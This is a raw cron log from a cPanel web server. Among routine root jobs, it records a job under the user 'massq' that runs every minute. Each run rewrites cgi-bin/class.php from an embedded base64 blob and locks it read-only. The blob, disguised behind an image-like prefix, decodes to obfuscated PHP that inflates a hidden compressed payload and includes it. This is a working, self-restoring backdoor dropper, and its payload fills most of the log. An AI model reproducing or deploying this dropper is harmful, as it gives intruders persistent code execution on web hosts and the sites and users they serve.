Sep  6 13:37:01 server CROND[21483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:37:01 server CROND[21484]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:38:01 server CROND[21860]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:38:01 server CROND[21861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:38:01 server CROND[21862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:39:01 server CROND[22242]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 13:39:01 server CROND[22241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:39:01 server CROND[22243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:39:01 server CROND[22244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:40:01 server CROND[22631]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 13:40:01 server CROND[22637]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:40:01 server CROND[22638]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:40:01 server CROND[22640]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 13:40:01 server CROND[22641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:40:01 server CROND[22643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:40:01 server CROND[22642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:40:01 server CROND[22646]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 13:41:01 server CROND[23742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:41:01 server CROND[23743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:41:01 server CROND[23746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:42:01 server CROND[24142]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 13:42:01 server CROND[24143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:42:01 server CROND[24144]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:42:01 server CROND[24145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:43:01 server CROND[24521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:43:01 server CROND[24522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:43:01 server CROND[24523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:44:01 server CROND[24912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:44:01 server CROND[24913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:44:01 server CROND[24911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:45:01 server CROND[25326]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:45:01 server CROND[25328]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 13:45:01 server CROND[25333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:45:01 server CROND[25334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:45:01 server CROND[25332]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 13:45:01 server CROND[25335]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:45:01 server CROND[25336]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:46:01 server CROND[26253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:46:01 server CROND[26254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:46:01 server CROND[26255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:47:02 server CROND[26641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:47:02 server CROND[26643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:47:02 server CROND[26642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:48:01 server CROND[27014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:48:01 server CROND[27015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:48:01 server CROND[27016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:49:01 server CROND[27394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:49:01 server CROND[27395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
